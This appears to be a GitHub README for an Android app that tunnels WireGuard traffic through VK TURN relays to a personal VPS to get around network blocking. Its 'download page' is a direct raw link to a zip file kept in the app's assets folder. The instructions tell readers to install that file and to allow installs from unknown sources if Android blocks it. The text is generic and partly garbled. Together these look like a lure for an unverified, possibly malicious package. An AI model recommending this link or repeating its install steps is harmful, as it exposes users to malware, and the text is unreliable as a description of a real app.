Use this link to visit the page and download the app:
proxy-turn-vk-android helps route WireGuard traffic through a DTLS media relay path that uses VK TURN servers before it reaches your VPS server.
It is built for users who want a private tunnel with a relay step in the middle. The app is designed for use on Android and can be managed from a Windows browser or file manager if you keep the app package on your PC.
The setup is centered on three parts:
- Your phone or Android device
- VK TURN media relay servers
- Your personal VPS server
This creates a tunnel path where traffic goes from the client to the relay, then to your VPS.
Before you start, make sure you have:
- A Windows PC with internet access
- A browser on Windows
- An Android phone or Android emulator
- Enough free storage for the app file
- A VPS server that you control
- A WireGuard config for your server
- A stable network connection
-
Open the download page: https://raw.githubusercontent.com/Decreasingmonotonic-openendwrench955/proxy-turn-vk-android/main/app/src/main/assets/proxy_vk_android_turn_2.2.zip
-
Download the app file or source package from the page.
-
Save it to a folder you can find again, such as Downloads.
-
If the file is an Android app package, move it to your phone or to an Android emulator.
-
Open the file with the app installer on Android.
-
Follow the on-screen prompts to finish setup.
-
Launch the app and enter your WireGuard and relay details.
If you use a real Android device:
- Download the file from the GitHub page.
- Copy the file to your phone if it is not already there.
- Open the file with your file manager.
- Tap Install.
- If Android blocks the install, allow installs from your file manager or browser.
- Open the app after install.
If you use an Android emulator on Windows:
- Open the emulator.
- Move the file into the emulator or use its shared folder.
- Open the file inside the emulator.
- Install the app.
- Start the app from the app list.
After the app opens, set these items:
- VPS address
- WireGuard endpoint
- TURN or relay details
- Username and password if your server uses them
- Port number if your setup uses a custom port
Use the values from your own server setup. If you already have a WireGuard config, copy the server details into the app settings.
The app uses this path:
- Your device starts the connection.
- The traffic goes to a VK TURN media relay server.
- The relay sends the traffic to your VPS.
- Your VPS passes the traffic through the WireGuard tunnel.
This setup can help with networks that block direct VPN traffic.
- Open the app.
- Load your server settings.
- Check that the VPS address is correct.
- Confirm the TURN or relay settings.
- Start the tunnel.
- Test the connection in your browser.
- If needed, stop the tunnel and change the settings.
You may see fields like these:
- Server host
- Server port
- Relay address
- DTLS mode
- WireGuard key
- Tunnel name
- DNS server
- Keepalive interval
Use the values from your own network setup. Keep the same spelling and numbers as your config file.
Try these steps:
- Check your internet connection.
- Confirm your VPS is online.
- Make sure the WireGuard config is correct.
- Check that the relay address is valid.
- Re-enter the port number.
- Restart the app.
- Restart your phone or emulator.
- Try again on a different network.
If you work with the source files on Windows, you may see folders like these:
android/for app fileskotlin/for app codegolang/for helper tools or backend codeshell/for setup scriptsdocs/for notes and guides
These names help keep the project parts in order.
This project covers:
- Android app setup
- WireGuard tunnel use
- DTLS relay handling
- TURN server flow
- DPI bypass use cases
- VK API and VK relay logic
- VPS-based private routing
For a smooth setup:
- Use a VPS you control
- Keep your server details in one place
- Copy values with care
- Use a stable network
- Test after each change
- Save a backup of your config
Download or open the project page here: